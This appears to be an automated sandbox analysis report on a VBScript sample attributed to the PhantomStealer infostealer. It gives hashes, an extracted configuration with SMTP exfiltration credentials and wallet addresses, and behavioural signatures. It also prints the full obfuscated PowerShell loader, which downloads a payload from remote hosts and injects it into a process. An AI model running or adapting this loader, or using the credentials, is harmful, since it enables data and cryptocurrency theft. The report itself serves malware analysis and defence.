Analysis
- max time kernel
299s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
22/07/2026, 06:06
Static task
static1
Behavioral task
behavioral1
Sample
Specification_REF058890.vbs
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
Specification_REF058890.vbs
Resource
win11ltsc2024-20260709-en
General
- Target Specification_REF058890.vbs
- Size 15KB
- Sample260722-gt28qszdkc
- SHA256 4987c194ac063ee01681e560d2d58ba1477d242d257237ea2b69ae45331772fc
- MD5 3911ec696a170118ffbf63d495a0c7fe
- SHA1 f2de9bee9ea490c6f3976fa8dca2995b7b0bbaf6
- SHA512 bdaa2fe704bf0182929e56ed47d2dcf4623238bada5ee51d1dea3770aa97dfbd59e37db1fd0079a19242b7933bb75b689a17e7c444ecc1e4c9dd3b5f326d8b69
- SSDEEP 192:kd7F7jgTgBca7DsWly4uhROJ/Q1tG44S7gBLoEP5d4P+CXm4MP2yk:Cp8E+6Ds51uJ/Q1tR4S7gBLbxiW4yk
- TLSH T11B62533AF64CDFF4071E10E141CB7D06505597A5B53A8DADE4CAC198BF2A7108EE78E8
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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phantom_stealer
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v4.0.0
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Protocol
smtp
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Host
162.254.34.31
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Port
587
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Username
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Password
_|57(U?U1Ik%fx_g
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Email to
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5SIO55YX92B6I5SDCHOD
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1FN3a3b66XakLPbFykvawsCTtKPHtBHNFp
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0x7875027ea7D2c04535A6A78A83F18222Bc2Ce012
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ltc1q4vhejh3avldylpkq9rj6dj4uv0wkj497wlhq0j
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bitcoincash:qz2fhszqsdse8frnykllv5zwk9sjr05vyu6kkdd3af
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TQUkvKgoq5tZGXwAhkgLwNzurj8dnonx5J
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clipper
true
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passwords
true
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screenshot
true
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smtp_enabled
true
Signatures
- Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 3 5740 powershell.exe 6 5740 powershell.exe 7 5740 powershell.exe - Uses the VBS compiler for execution 1 TTPs
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pid Process 5740 powershell.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 2036 WScript.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 5740 set thread context of 836 5740 powershell.exe 93 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 5740 powershell.exe 5740 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 5740 powershell.exe - Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 2036 wrote to memory of 5740 2036 WScript.exe 90 PID 5740 wrote to memory of 1360 5740 powershell.exe 92 PID 5740 wrote to memory of 836 5740 powershell.exe 93 PID 5740 wrote to memory of 836 5740 powershell.exe 93 PID 5740 wrote to memory of 836 5740 powershell.exe 93 PID 5740 wrote to memory of 836 5740 powershell.exe 93 PID 5740 wrote to memory of 836 5740 powershell.exe 93
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Specification_REF058890.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:2036 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dhfghfggfhdssigo ='WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBSAGUAbQBvAHQAZQBEAGEAdABhACAAewAKACAAIAAgACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAdQByAGwAcwApAAoAIAAgACAAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQACgAgACAAIAAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdQByAGwAcwAgAC0AQwBvAHUAbgB0ACAAJAB1AHIAbABzAC4ATABlAG4AZwB0AGgACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdQAgAGkAbgAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJABjAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsAAoAf@QAKACQAcwBjAGgAZQBtAGUAMQAgAD0AIAAnAGgAdAB0AHAAJwAKACQAcwBjAGgAZQBtAGUAMgAgAD0AIAAnADoALwAvACcACgAkAGIAYQBzAGUAVQByAGwAIAA9ACAAJABzAGMAaABlAG0AZQAxACAAKwAgACQAcwBjAGgAZQBtAGUAMgAKAGkAZgAgACgAKABoAG8AcwB0AG4AYQBtAGUAKQAgAC0AbABpAGsAZQAgACcAKgBjAGwAZQBhAG4AKgAnACkAIAB7AAoAIAAgACAAIABlAHgAaQB0AAoAf@QAKACQAdABhAHIAZwBlAHQAVQByAGwAcwAgAD0AIABAACgACgAgACAAIAAgACgAJABiAGEAcwBlAFUAcgBsACAAKwAgACcAMQAwADcALgAxADcAMwAuADIAMgA3AC4AOQA4AC8AaQBtAGcALwAxAC4AagBwAGcAJwApACwACgAgACAAIAAgACgAJABiAGEAcwBlAFUAcgBsACAAKwAgACcAMQAwADkALgAyADQAOAAuADEANQAxAC4AMgAwADEALwBpAG0AZwAvADEALgBqAHAAZwAnACkACgApAAoACgAkAHIAYQB3AEQAYQB0AGEAIAA9ACAARwBlAHQALQBSAGUAbQBvAHQAZQBEAGEAdABhACAAJAB0AGEAcgBnAGUAdABVAHIAbABzAAoAaQBmACAAKAAkAHIAYQB3AEQAYQB0AGEAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAKACAAIAAgACAAJAB0AGUAeAB0AEMAbwBuAHQAZQBuAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAByAGEAdwBEAGEAdABhACkACgAgACAAIAAgACQAcwB0AGEAcgB0AFQAYQBnACAAPQAgACcAPAA8AFMAVABBAFIAJwAgACsAJwBUAD4APgAnAAoAIAAgACAAIAAkAGUAbgBkAFQAYQBnACAAIAAgAD0AIAAnADwAPABFAE4ARAA+AD4AJwAKAAoAIAAgACAAIAAkAHMAdABhAHIAdABQAG8AcwAgAD0AIAAkAHQAZQB4AHQAQwBvAG4AdABlAG4AdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABUAGEAZwApAAoAIAAgACAAIAAkAGUAbgBkAFAAbwBzACAAIAAgAD0AIAAkAHQAZQB4AHQAQwBvAG4AdABlAG4AdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAFQAYQBnACkACgAKACAAIAAgACAAaQBmACAAKAAkAHMAdABhAHIAdABQAG8AcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAFAAbwBzACAALQBnAHQAIAAkAHMAdABhAHIAdABQAG8AcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHMAdABhAHIAdABQAG8AcwAgACsAPQAgACQAcwB0AGEAcgB0AFQAYQBnAC4ATABlAG4AZwB0AGgACgAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAFAAbwBzACAALQAgACQAcwB0AGEAcgB0AFAAbwBzAAoAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBoAHUAbgBrACAAPQAgACQAdABlAHgAdABDAG8AbgB0AGUAbgB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABQAG8AcwAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAApAAoACgAgACAAIAAgACAAIAAgACAAJABhAHMAcwBlAG0AYgBsAHkAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAaAB1AG4AawApAAoAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYQBzAHMAZQBtAGIAbAB5AEIAeQB0AGUAcwApAAoACgAgACAAIAAgACAAIAAgACAAJAB0AGEAcgBnAGUAdABUAHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAG0ALgBHAGUAdABUAHkAcABlACgAJwBtAHkAcAByAG8AZwByAGEAbQAuAEgAbwBtAGUAZQBzACcAKQAKACAAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAgACAAJABpAG4AagBWAGEAbAB1AGUAIAA9ACAAJwBWAGIAYwAnAAoAIAAgACAAIAAgACAAIAAgACQAcwB0AHIAIAA9ACAAJwAwACcACgAgACAAIAAgACAAIAAgACAAJABnAGcAZwAgAD0AIAAnAHQAeAB0AC4AZABhAG8AbABwAHUAMQBtAC8AaQBhAC8AOAA0AC4ANAAyADIALgA5AC4ANgAxADIALwAvADoAIABnAHMAZgBoAGoAZwBmAHMAZgAnACAAOwAgACQAZwBnAGcAIAA9ACAAJABnAGcAZwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACAAJABnAGcAZwAuAEwAZQBuAGcAdABoACAALQAgADEAMAApAAoAIAAgACAAIAAgACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACQAdABhAHIAZwBlAHQAVAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwByAHUAbgAnACAAKwAgACcAcwBzACcAKQAuAEkAbgB2AG8AawBlACgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG4AdQBsAGwALAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACQAZwBnAGcAIAAgACwAIAAkAHMAdAByACwAIAAnACcALAAgACQAaQBuAGoAVgBhAGwAdQBlACwAIAAnADAAJwAsACAAJwB4ADYANAAnACkACgAgACAAIAAgACAAIAAgACAAKQAKACAAIAAgACAAf@QAKAH0A';$oWdfjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $dhfghfggfhdssigo.replace('f@','f') ));iex $oWdfjuxd2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5740 -
C:\Windows\system32\HOSTNAME.EXE"C:\Windows\system32\HOSTNAME.EXE"3⤵PID:1360
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Vbc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Vbc.exe"3⤵PID:836
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